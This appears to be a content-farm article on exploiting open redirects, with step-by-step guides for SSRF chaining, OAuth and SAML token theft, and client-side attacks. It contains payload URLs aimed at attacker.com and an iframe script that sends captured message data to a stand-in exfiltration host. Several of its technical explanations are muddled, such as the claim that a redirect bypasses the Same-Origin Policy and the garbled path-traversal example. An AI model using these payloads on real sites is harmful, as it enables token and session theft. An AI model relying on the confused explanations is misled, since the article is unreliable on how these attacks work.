Exploiting Open Redirects: From Low-Severity to High-Impact Vulnerabilities

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Introduction

Open redirects are often dismissed as low-severity flaws, but when chained with other vulnerabilities, they can escalate into critical attack vectors. This article explores advanced exploitation techniques, including SSRF chaining, OAuth abuse, and client-side path traversal, to demonstrate their real-world impact.

Learning Objectives

  • Understand how open redirects bypass security filters.
  • Learn to exploit OAuth flows using redirect vulnerabilities.
  • Master postMessage and iframe embedding for client-side attacks.

You Should Know

1️⃣ SSRF Chaining with Open Redirects

Command/Code Snippet:

GET /redirect?url=http://attacker.com HTTP/1.1 
Host: victim.com

Step-by-Step Guide:

1. Identify an open redirect endpoint (e.g., `/redirect?url=`).

  1. Use it to bypass SSRF filters by pointing to an allow-listed domain (e.g., `https://trusted.com?next=attacker.com`).
  2. Chain with internal SSRF to access restricted systems.

2️⃣ OAuth Token Leakage via Redirects

Command/Code Snippet:

https://oauth-provider.com/auth?redirect_uri=https://victim.com/redirect?url=attacker.com

Step-by-Step Guide:

  1. Intercept an OAuth flow and modify the `redirect_uri` to include an open redirect.
  2. Capture tokens or sensitive parameters sent in the URL fragment.
  3. Use the leaked tokens to impersonate the victim.

3️⃣ Iframe Embedding + postMessage Exploits

Code Snippet:


<iframe src="https://victim.com/redirect?url=attacker.com"></iframe>

<script> 
window.addEventListener("message", (e) => { 
fetch("https://exfil.com?data=" + e.data); 
}); 
</script>

Step-by-Step Guide:

  1. Host a malicious page with an iframe pointing to the vulnerable redirect.
  2. Use `postMessage` to exfiltrate data from the embedded page.
  3. Bypass SOP (Same-Origin Policy) by abusing the redirect.

4️⃣ Client-Side Path Traversal

Command/Code Snippet:

fetch("/redirect?url=../../attacker-controlled.js");

Step-by-Step Guide:

  1. Inject path traversal sequences (../../) into dynamic `fetch` or `iframe` src attributes.
  2. Force the application to load malicious scripts or trigger XSS.
  3. Combine with open redirects to escalate to DOM-based attacks.

5️⃣ SAML SSO RelayState Manipulation

Command/Code Snippet:

https://saml-provider.com/login?RelayState=https://victim.com/redirect?url=attacker.com

Step-by-Step Guide:

  1. Tamper with SAML `RelayState` or `ACS URL` parameters to include an open redirect.
  2. Hijack the authentication flow to steal session cookies or tokens.
  3. Reported in real-world pentests (e.g., Microsoft MVR, Apple).

What Undercode Say

  • Key Takeaway 1: Open redirects are not just “low-severity”—they are versatile gadgets for chaining attacks.
  • Key Takeaway 2: Always test redirects in authentication flows (OAuth, SAML) for token leakage.

Analysis:

Open redirects act as force multipliers in exploits. For example, a bug bounty hunter could chain an open redirect with SSRF to access cloud metadata endpoints, leading to full infrastructure compromise. Enterprises must validate all redirect URLs and implement allow-list checks.

Prediction

As APIs and OAuth adoption grow, open redirects will increasingly be weaponized for large-scale phishing and data breaches. Automated scanners will soon integrate redirect-aware checks, raising the bar for secure development.

For deeper insights, listen to the Critical Thinking – Bug Bounty Podcast.

IT/Security Reporter URL:

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